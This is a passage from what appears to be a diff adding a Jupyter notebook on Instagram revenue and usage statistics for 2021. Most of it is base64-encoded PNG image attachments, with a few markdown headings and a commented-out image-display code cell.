OcETCtbZQGobS+bocbKZl/1VV+1yJLc9ClNHnr4rmg8D6VX5PCesGYGwzZrpVMu43/TN33TYpQMxkAZqXGOowGoNhxhLMZ2vwZ4gKCtD994k0VAtRGAgPHJTN6CtDbqhACKVmbc2mhfOdoVMXnc1iAvsIitRFOH0sfR7BSw5N0uEdIxOehY2Td+4zeeGVg7VyyMMlzMGSCDnWUrzBif93mftzitMfHBdyrpuwMMMoFV/+NoRq0NQK1B5hZCqwVjt0LRkwyBKaA0AaLrNovHrt9OpdUL+Ehnz9rhHaDUN67ynuWfMku3MqXXcTQbTGB5t1IAomRK3/zgEfHjxt2n7tgVK0BFzxtYmM8xOZKyYrPH2x4UAQw0Y+2jnDbb7iIz9G/+5m8e8QlcHJtzu29lmySjEPXvb33I903f9E03L/MyL3PkBOD38J2XE97zPd9z+blKvwDKjoFJ2QQaUMvnXPe92uaaVPRpC9xXf+3YrPjIRz5y0YV98SMHvSawf+AHfuBIp9PwmW13AgtTEdPp8Ax/1hXLzLPfC5SMD54BS5l/lkngZuq+wOIMV0opO7cTNx3xmA5fBLl+C0vHAKdO+4/5mI85OmBPOeb2mqyBwUH8/d///ZcP1BnH2PTKqfLSAUqbtuXuTTVW4EinfWn9UBdM2Zrdt/n2J37iJ47sti+Pdbs1sPCh54U/mgwofkkXUg5jMWChn/VZn7UomXHWCpyU5xRbSPd3vLYu4MOpgas7262UE1TAHbCNFUhPkqnbBHgDn9sZOTVd8aOngGfbsVsKwkMe8pBFf1eA8Z3b4y79yTbr9FX2AR/wAcu4+IrZm1xNKCvy7HtIeiewKItpswsVm1nnsWL57/TCNmApw89hMyNl2H0UBYT1tmEcAGJQYwvOOJ1zloLN5uhmpDa9cxdI8G5bxiPAGbu0NmtZ5fXzQ7U3nNi27W/yD3DJQlY3bVu19gEV/tksir/opVYhYE0/51vfcN3Hxse1WQMrvY5+KyREADtPYFH4O77jOxYljU/BlEQDlsNmDstZGes4xWqrL4Ch/m8iXoLxObS8M5UyxqWnV9Z90GPeeGxMfGc6OZQBT8DrfFdeu9JudLZiWCniSx4R6NQLXlfXN1Bt450M0WwUpb943/vedxkTP/oK2bq8j6g0zqH0WGBxsEBRxj5PYBH4O7/zO59jfLwClkpfWskZGSl6nNIZX1sGNUZL/XSaMvxEjkQdnLtZiUdjGSPnxjsw1Ub5NvmSYbbzfiSeOTS92ZkdhLbkVs7ZPxmOo8lCdrEXV+gdDzLEE/2FX/iFMwPr2NsNFBUuCljzbd2UjFd5N1EZjlEYKUMdZ0x1HFkbK5YXEoxJJzRntvyXp++tbnWro76Ncd4UQJybfGs+edDOWMkT8KzuybDe4iuPThuVZg/p/mNXk4g9AlX+Po8Vaw0sY4sXfnhnhH63YkSRgigBGFkIWBkmQ2XEXTRgdWVoFZrOWga//movZyrz7azTrgq7ZNin3C2LQiBP93n2IiPAm2AnjTttVDr7BSy88BHZm23iex4r1s6tMKbT2QRoOznr4Z1xLhJYxg8gvhwsZExGbMbOLcF30vULlCc58Kz1gf5Lv/RLF/l8q2JOKj5w9iOr4Nuep5XtqgMWBUWBggAmNqvOA1jHbYWtLnPF4sgMdZJTgaq23/Zt37bo0P2hRanr/8QHwHzljuMC5Ek8zlKPT+c1jzdnVzZuUhMRqET1nhCNZ7qV30VrFyC9Rd24+Tie+ftCt8KYEuJKAusjPuIjzrSKOI84xxSaICgdM6qnGy4HoAJAjpbnfOBPFrJKB3rpyrws0aQJNI25jdYm3a44sJo1KRjQLtdWyKh4HwqsHOcVKuO0WpG/VYBO6ePZsPrsc47Z5sTTluHH4VYuz8WTq/NeYLJSkbFy72HiAzCB5ji+tQlY3SA2bj5mB/aWF56rz1hnBVa3C97t3d5tMZaDMMcJOU2aUZX32lTgOs5Z51Xnpud0fP9XeQI+Z3eQ72hwgwUW5USBcpwhdha4HGcs/FqxmnGncSrj90GMRZHxOAvgtop5SrVxLxewAhTaCtmH5wJTq1SrKn/43JPt/azAMpnyMTvjmb8v9IyFUYDihIRIyfMAll/RUyp++EivV6zTAqv2fo80pvFMCvwmD4BzVaZ9fXJ6YLsIGg803n7kFjh92p7NyS34Ybq++8hV23SzFRorHpOPtHAewFrfbmB/4x/9pJPjUfE8V6yAlaMxLn1WYOUwX7UTJrDk8WFcOvkHk9NJOWOWXVTaatWK5ZxHLrKi2ZycBf8cM5DsI1O61OdKAYtvLwEWhRSk5HkC6wlPeMIybmDKmBkXz7NshYzpFS7jGLPx18DybBUncUKO2Mdp59HG1tsPzG/5lm+5yJi9ySsENGn/QOA0fNPnqgJWiqUoB50XsCgMWEJOz/HoWVesjO9f9bYy4UWHHIUKnpfiYCtHDqj/RdHJJ2D5TxlCdmB3gfyivC8fnkamKwWs9U86ZKfXhb6wyjCXC1g/8iM/sjiEUgJgNVEC3MMf/vBFHuDKEadx3iFtJ7C6YPCiqJAT0PJkpYNvXZyGX/rE73JthccCayrGIee5YjHORW6FDMlhve5kdQpIi7euf5qTjv4ROXlyQvQ0DjxL25zuChZ4ApY0mwcu1D2mgLgPz3SJx+UC1vrwTifxBn94b3uZb6V0RctBHObeEOq/2nNSxs8Z+zjuLG3iE3W7YQJrAqpt21XuDRpYIYzhO5NQOudc7bcberTEo7h0oUPOaVtJFxQQ3QEHlBx9FtCc1Bc4ArK2ePfp7LlSdaYlo/JP//RPv0FshesVi+2XFetyAMvTDQE38KLKOF/wVgnD54R9nd4lvAfkOGeCi4PwCVjqfYoyHpNfK9/ke5oVYxfA1mN4ZFmYsspnh8DWJzN3jbutHK/4dY7DJ2dnDzYSLvQnHc7FUIhKp+hZVyxO7OkG41MKz5SjtDCBxbnTwduMOMtq26d7kn3q0933xz/+8YvxyZUT9JdvHGO3qk0+h6aN29vOn/u5n7vomzwy7CH0YoX0IQ8hTp0Ay7jsyw7ZYqbP4wZpjwLlx8a/8DMWo/Y8VqsJ5pyPJlDfHmccDpxOPs6hgUO/rgxdqgtmazNWHj+hdwT1AaDGwGd+JyFZjuN/Up2VsFVV2wkosgnZgE3Efnra1wbJoH0yAxZ98WD3OaGb1OexYnVVmC7xumxPkLZKMSLmKdzqciiwpvH9EB144sdxyjxTLkr7MNp0NscAQGPlnLbHHHcobfVzbhL8Ntgz7uQU2QMV2IIME/D78CZ/OkxgZXO6S4t4nQewdp6xMMgZUcrl8LNuhRSdWyEeeKZcfAJWhtnHkLXJcRyRgzpX0aXZJN3M9fgKXr3uxZETSGvgxeu0tLd/fK2QzoV+eM7m5G0189o9/vvaYrYr7dFrY7MvGh/6lz7PrTA/xutoK5xG5/iccVZgcURbYUy3AeujP/qjF0NmmH0d2OrS4zO9dY0XI6ZwTs15aIDsyhLPtsLzAlZ6+EQ2GQAombJ5YENt561U+9pCu9pG73e/+y0TGC92aEKVxus8Vqy2wnQyPttf6GeMMqoDc45OQYr+9qoAABYbSURBVEZWlsP94g8kAWUaq3G20QkAq4PPAwGu0KqFj4kils6w8QyYOSbnbuN5mjLjeMa+kL6AnU2Sk3z+7VsyZIuT+E1ble75NGPiOe0tzUYX/iY0BYWcft4rln9jIuAzecUT/diP/dhlpuZQBtrXsPqItfdJpDkzGVcIcM43Zph835bnvLn95KCTnHpS/dd93dctvMnQrO58FaCUc3YrSDaInsSD3uTVLrvd//73X/gau1WEvqVVnsdWuF6x8vGFrVjTMT3YxpCUm8oyuLJP+7RPO7ohqO9ciU4yrHrtc8TNbnazxaj4tfV1plHBieoYWdpHaG9605suTolvD9kZ27iV57zpSGVzO63OD+PCmvfkX50yZytjxaP0cTReKIA1uXxZmV2NK9J1bXv/ZuW4sfep23l4h7CYhmZlzfJDz1gULfY7XiBKUXyaxZ/92Z99iUEz0D7KdQDXtvSHfMiHHIFLApDw85oVAwvkiL/yHquJ53RUZWsKdDm3tHf6PH4sNInwjxc5BGVswu4+C9CZD4/Oemt+63y80SmvJzniv7Z3/m6FXI95mvwaWMYWL+zwHqjQuR1waswZOCV96UXbVh3Kye+j5FwtAqQz05Oe9KTFuN14zKHxt1pIczC5UKvX277t2x7JMZ1t1ZpXjmRNXnX+eadViiMFL8/iaWxUDEj4Nnn93216Boz02Vf/bFR/+Qc/+MGLDMBMnviXV0nW+h5K11shvfC6cGBRds0c4wRAxS/7si9blJyOCyTHKZ3jtQ2YvSDqYx0emGPMVozON3gKqB+pySS0ivhSjC8R+g78/McGZMmBwHT3u999+Uis/1DRmIDUSxGNiSoX1NWWbI0PUAEVn5k+zgbV0T8wPuIRj1j4AS9gBW5pPAWfI6/voXTtW3pdAiyMFaJis+k8tkLfIBVSKCUDGGWtapRrtkpnpH2Unmcg7eX1f9VXfdVFHzxEOiYHHclSIE/5AKhOP6veH/7hHy4rmh+RAck4oj4BSb60vqW1AdrOVOTA39vbJkcThOyAu9Znlw2mjWbap7bpswaWsvTvjfBdY+9THrDCC73EoxWL4gpQsYZnBRbh/J8ZIYWkKSjm7D6GMYG1j2LN6lY3v8k18zO0N58LDvP0xFfocK9sOp0Nunokt6iP8hnkGwuI0lFZNkxX/aqXdq+JjskuPQG17zkrO6Uv6kN2gSj55IXk8mhOfQ+lxwIrhhcFLHfVUyjHZOwM3WX/3ApPo2wAqw9nWQU4St2d73znZcUgh5VDaDXJ0Ch5qteGnGRGA4s20mIrmz6ltWdLobHjpUxb/0ScrK1UE1ynBVQ6Byz6+tS2kJzS+ZlMZOz4Uf9DaMDKj/n1wv6BACVTdO73E1jSCeTVd4pNgNT/OIU5pHZowJzjKNPOEwPPeMYzFoNnXBlyZPScoSxwSIuF2lc++6YPhwqBVbp+QE6nzoLkbqUKYOWP031dZ5xs4GPBQsCKdzKRue++rsc5TX7b0w14XRdjjKQZUzTDNDiPrdCXhYU5a+esx7srowwaPY2Su9oCmZUhw7v9QbeMTG/yKBOnbGxBvuyj7TqvjzL9GkfeyjSB5RHtbocA0AT/Ltn3KU8vbaXR7vanCzmEfCu9fh1uH17rNl/0RV+0jEtXdghPy4qlQGCMAoGE8wCW/4Al4JMTloLr/1DWBz2m0M3cWXZoen1uY3w/nfhfhOkeIOQZSWCk6pObjaTLB7z0Uc+J+grZtP8CZvU8L0CxR6Bir9Loj/3Yjy3882PyBTDyP+xhD7vE5ofYd71iZZsL3wop7JK9wNAZvTLOcXDuYbgUZKDSh9IAauxWwenY93mf9zn6J50d3hm/81LASNYMR+acVJoT1+2dL4GJLp2d5up5qF71mzYqjfq+vZCMyd+kIWv/97CxDqFrYNFfvPCfdDjzFre4xaIXQDXDOShH5Az/Vq2ZR8kMdYjCu/pwbmCzksmLDtN+O1s7g5zkI6utnGOSV1vpdFo6bzabJz/5yZv3fd/3XeTvzEeXgE22Du275DykfNquhx3JN2WmRzrd8573PPPEXd95z8cXdruBYQKGFYKCHJNTUi5FOeXVX/3VF+Pn+PofYuT6cKZxGlO5srlqKavezUqr2OMe97jN0572tLCyUDIXA5QKd9hd1Xqh4+Vf/uWfw1mBCA/peK1lSOZDKb1EX4GewapFboHj2zE8CXIor/qtrwqbZEfAwlRhhmsJPfSMFWNOFf2jS+OLoTpF8eQoS/MEUw5orENpY+bIqHKOMG7b0+Thzv2Nb3zjzSu+4isuNzJ94tqFiC8Su7H5mq/5mku/xtOXzDm49HnpMWWb6fTDR/RtLcGkzebybByo5HtUaI512vROYMWYczHFXGwvPglYKbVLIIraDvx8IOAHtPEKVMrnPw06adxd/Nbl0+m2vjnurJv95qoyy7eljbkLOHit67RvBQvU28Y9S1mPQNsh2Jpt2RkFNsFtl/Pgv94K8RCXFQuQcjoBxH1XrOmoXcZg3Ec/+tELYAMSfvEFMuV+19O2uGu8s5aTmYMbJwPjmz6V1SaZUIBEq0Nnfl1vYq3H6+w1xzgknbz6SpOj/3HdMYOdS7eKeVz8EH7rPusVCy/xwrfCHNj/he4VLagmAEBRVlrwoy7h52oyncZ46taOWiv8/yW/to0vFgoBqUnLzoIFg639E6fzsNEaWPn1woFFeCDw8J1nngSfo25FJIjQ5b07xl25rcHVFpJBroHr/y6QTDjRk7jdiGZjwBLYOfvL+3Fe+2x5KL1iwDKjmlW+UkfBUL1ofP3scg+pVWtuE8Az8wzQTyETeIca5obeDzhMxCaZiyShM7I0uwJYdu9mdH3OYoMrBqy2Qko86EEPWpSmoIDOlasblP5tifYpHjCjlZ/FIM8tfeeq46lZW17bX+DqCQ42Z+/HPOYxy0p1Hna8YsDKgUDh8lawJFOwFWoq3jJ+m9vcZlHeHfNWJjOz8c7DKI11Q6aAZQVHTUygmpM1kLF7tnW/UPsJykNtcEWBRYHA0b+Y624wI1BeDHRmnUeEU3yCqFWrukMN8tzUj21953VeBC3GHM9/tRvM/3pxHja4YsAKULZEAHFTsb0emFq1KO5QLygT3f3uwN45K8ooE3DnYaQb4hgmWM9emZAmLLu6+s6Oyu0SqJu89MwvZ9X5igFrriwBoW+StlJ1FgCqQNcM873zlA9k8jNd/f9H2v3BbNg2mC3R6p7+9KcvtuSTVv6z2uxYYIXsbdRz3pivES6/j3C1sdJIo7e+9a3pu8ys9v2ARIa2xQziIUD8AibDzCchjBsfsq7zyvSZIM+g28qqOw+6z/jb2ihbl69/gvEvkdkrG1qR2gVMUGllom3yjd/4jS+x02n0a6eYOJDuzrvxRQG/ozvv20ClDLBSMkqgtdLHCdmVYf/iVlsPiDHIXLXMtmYcwwgBzmW038AaK6AFom3yVIduqz9O5urmGNvStTsLJdtaxsqU+1F5ju8JVP9ymH9a4U1CeaEJKR/o/JfbVnljl57jbksHJHKoD2C1nStWCwKZjh70C9lr+qd/+qdHq9V0ToxicBydRpvg8jukEIgyDDCRg4GiS8PNZvPEJz5xc4973GNRco6LP9C5Qkq2aLLJW/VEBpv61Caq7rj62p1E8cRLlJ5jrnlow3GzTeMDwl3vetfND//wDy/2yi6tEtkRkNQJ1Xn6ont/E1D4Nf4uOm1IrvL1fexjH3sE8PjuBSxObguazLeVzfqZ5vBpVALayvzHrlYtoCJYP/kEsoxDjnnn2H9u8GOrRz/WMzre+DDANkfV5iSq73HxpP7Vb5Nh2kS7nFYfNvbavX+u4AMe03HZZa5Kc4JmP/Z9rdd6rSMA5bdovE6i5J/y8amyH/zBH1yAlf8A2sp14laoob09B2WgfQXr3lNCrZdS39okVFsg4zEQ2orVdsiY6rTNyOSzTXrr2X7/0Ic+dHmTmTF979N5zj+g9Kx5sywj0iV9Krsoig8bkIFTyOORHC94eCzH97re7u3ebuMmp5cc/Erx7Gc/+8gW9AQSurPBXJnkORMNcO4NspHPcq/1Tsd8Un4X1V+sfbpo7x1L/sMbFfcCFuHucIc7LIifA+4SdpdwASrh9L/5zW++jHvve9+b3ZYATBlHQQDqt0SCZ2BtpSl1XNBHWyueF09tDZ6wFIHSs++ipyu8iOonj+Izn/nMzXFR+xmNMeOznvWsBSB44Ys/OcgznZH89AUekdzybsOwibSyaR/9Jsj0KzzwgQ888lsLwfRbvtjlM+XriSffWOrnk6rJix59KpKS2yIDeLhtMpkAO06o6gKVvNk6BVNm9lq58CowHiMpC1zS03AZOqoPI1vhtJUXKbot6DejdmJ2MPNm/bZ0bdH6b2s3y9ay6GviiHgW9FEnKDc+/cqnZzJP+3kYkW07W0kDUsDaB1T1QWdsDMcQvMkZTc8TgUUJV3AGngDZxXQKUJogCdMMAC5ljanc4dSsFhhpzsTSFBABhtEpIt0MXzpf/yclU5xzAlt9G29SdYfEOUa88RSNN+vlq0tmfSqrPrCkr7YA1fFAPrBpI/TxNpM4H8zJXHm+qM02mt/QwIga723e5m0Wfk3iZCfHicBijP7FWSDYJsBZyxrbod7nEgWCMhrK0ALjAxHhK89h8tUpE6rTv1gZWtkuaszj4q5+28q38TV2gezpG8j00QZNH6DStlD6qU996vLiSr4ICOUPoesxei/SWN6k3qansr0O7wS/3e1ut6A/BEPsPog/SZk5k4DLmKi3ZmawTZCD0BkyYOT42T4A5swMUNto9buocY6Lu/pVTib95ZMBbcwpx1r+6upPb2WFVgp5h362Zs/TrEgn+Ud9Pq8tsClzuyg91/REYLW8PuQhD1mWwhC8ZhbTQ6gx5/2VAOt84ME1QgvdbuAYQMtRGZoDGJ/B1Qm1MYb6dVgb5Lzzray7+JNHHcDEO0CVN0aTqrL08AjMTW5yk2VCZrd8cB4+aicBVn7qKv/2t7/90YRJpklPBFaNvXMXqAh+HkJngElbCVNIHYD5MosP6wudKTIuR3SQDTzk5oxmuzyQaRv4AFD9cTH9d9Hj+k7e9U8GYBEn8KUDETnrn55RK4XbKjk5W5mc+Wj+5DXte0i6FXD27T9sJP+annjnPWUYxpMJZkWgmtvYZHqatPG6cpHOMNL2c/l4om6q+lqdr9EBU8Yn33RyjuQgSlefPtHaXRTFh1yBJsDEv3xtyFGYaecnb1W79TNtxAd+zWCb7B4QopUfSttN8BX5320T8k2bz/SJwGp10KlvWE0lDhV2W78J1NIpVXvlzVR1d7nLXTY+lu97UN488cFWrzZ1Bz8nrWlGWJefdx6fbYFTgK3Azu6XeYvaBz38quAFWFfKtrqpf+ltwGGfJn7tzkJbDdm8dB95sfLTY1s88aqQYXR0prFMe/qQoOclPJAGotLbDLYu07aZu81w6hjC3W03Ym95y1suFyB3vOMdl29l3e1ud1veCOK44yLgHheP66vOD8ao1R69053utHE+IU+/COQwetCLrmv7tlqg2kydrezrCaj/ut3sc2iabG4eF7aBStmJK5YBWrWkfUM9JQ8Vbls/4JqGkM64+OmDZrC1M5JpjjH5KC/O8iudnvKu5UunZJSf7eWnHZp8TdT6nZXGA7WKWmCEzrCt/pPuBawOZgbT2evlKUHoFEnpZk/AOKti1/pfeuf7vO3BT/mKDwEWj8rQfOvKHAYEADt4xXLlJDgoG8igfl/DOCSnaIIkWMJUf41eLEAOse9cIEq7mMq3nWctHv51jUUmTMDFwcCqM+oKpl/N/TMkAOqRFemAFT1E0Wt9Li/48hX/rRcCtywADND8UwRbnwBcAAVgZwKWgbosbmC0B/NboYBi3jpoi7wGlssLltPaOz9FrVJzS/TdMhiwYwFXaRg4GFgAJdgCpW2JBg6tvrUA1ZDfUgrpzYTTKnmt/eUFYQtBoGL/tkHgAjLPhQkd2vm/c9bBwDJAd7WX0a8HmbKYeXwCkKZwBFwvrddAc3lBc1p7WxgsCvzYBdhTnvKU5a4AAAn9rAYXAHYwsBrQoJZBK5XbDxh0uanutre97SUHesJdA9bVDaSA14LAX+000l5uLbiPCUwTD2cGlsHmvSwDCgGr1cvDeoR15grxCX+NXr0gm7uNVcunkDwqJdj+2vraCsPCmYAVSlvy5IvKpDEMyY985COP9uj2b3v2POCfBDKzpXhS22v1u48cbMg+VqTsH60crR3qP5h1O4Ffp6/DQH6vbtLa7PV0A2QW64hWFoK7FeHV+G5DtMwGgAkYSjZbtGsZru01evpVbtp3gmam2br7U9nc5PfPtPhUcNTpAm36Op9PHMx09SfeeYfGBkZDZ4MtUozLztBuT/bPGJshVq+uGgNMSpVPeeX1m3XX0tuBtgYTO7FfxxFpUTu2FUtra5Xyz9AFxxuhbS8/76LhY11/4opVR0is8ywjQMIAk6Btgnk96D73uc+yJFPCD6Y93krZQJRxooGo/DX6f8eDaYvshCqf+crYuXL2lkb9GO4x8G4p8ZmFoXuW+fsQeiKwDAoomLXMzbKWS4ACMHXadtW4IG2z2fggxQMe8IAjBbtXksLbtsL1Nlrba/T/Vq61jQCGbUXp4rT3ve51r+WzR3xjkQCoXmKR52eUP/P5aeleW2ErFNBIJ5C8AFyds1q1Kif0fDbKzTb/1d5PBM5hc5ZJZ5TAM2fntfRzrlptcwC2DWTZ1wu8fobrZufiuPHtV3n+5Mf8GsD4/LTxuhgcR+egs53ybjW0nK7ryxMSyBJaubSVzI+briZtmQzgmSVPSnpD2Jf9rsXdNvDvZLxNzUbe/Pacmf9pzZ4+FNwNzuydP6xGnYf5hX9aHLSZC4T8xID0rlC7Ex/0wxBoivLFwETA2hHY4ECjvrZzywTGZsYuIZXrey3sZ4Fpx3ylJxu2pSln+yZ3PosaI7BJB7jqG3f6Vd2MtdlrKyRIEcNiAs68svIUKx1tnOha6LWQtdtFtd9Vd9byfcauDf3it62sujVd96uvdurKr9vNem2KOTa6jZ+xZpxt1uXTh7WrzayrLHrFgUXYjJIRU2Cdr3zSfdrM9qdJ7zN2bRi0sbeVVbem63711U5d+XW76tfjaT/jut446zjbzDrlEzy1q82sqyx6MLDWTAy4rSxG0dpEZz9ltVuX135NM/y6/Dzy+4xdmynvtrJd8qz71Vd7deXX7apXPuMuPpXPtqWrm2NWVht0W9msn+m9gZWCMV8zKR+dTGa6+mh167zyyo6jU67j2h1St8/YtZnybivbxX/dr77aqyu/ble98nXcxWtXH+XxqU1jNHb5aOXbqDZ73cfScBtjZQ0cw2jla1p9VH1ptPaz7Lj0lOu4dofU7TN2baYe28p28V/3q6/26sqv21WvvLiLxyyvbbS6+DQuqmzdrvaVT1odeipgTeaT8RxwpifT0rNeWjk6x95Wtu5Xfvar7LzoPmPXJpnx3la2S6Z1v/pqr678ul31u8bdVW6cGWuHT7xm2eRbeXTbONX9Lzd4iIRhu9xVAAAAAElFTkSuQmCC" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Instagram Revenue and Usage Statistics (2021)\n", + "![image-2.png](attachment:image-2.png)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram DataAnalysis" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": { + "scrolled": true, + "tags": [ + "https://www.businessofapps.com/data/instagram-statistics/" + ] + }, + "outputs": [], + "source": [ + "#from PIL import Image # to load images\n", + "#from IPython.display import display # to display images\n", + "\n", + "#pil_im = Image.open('IGimage.jpg')\n", + "#display(pil_im)" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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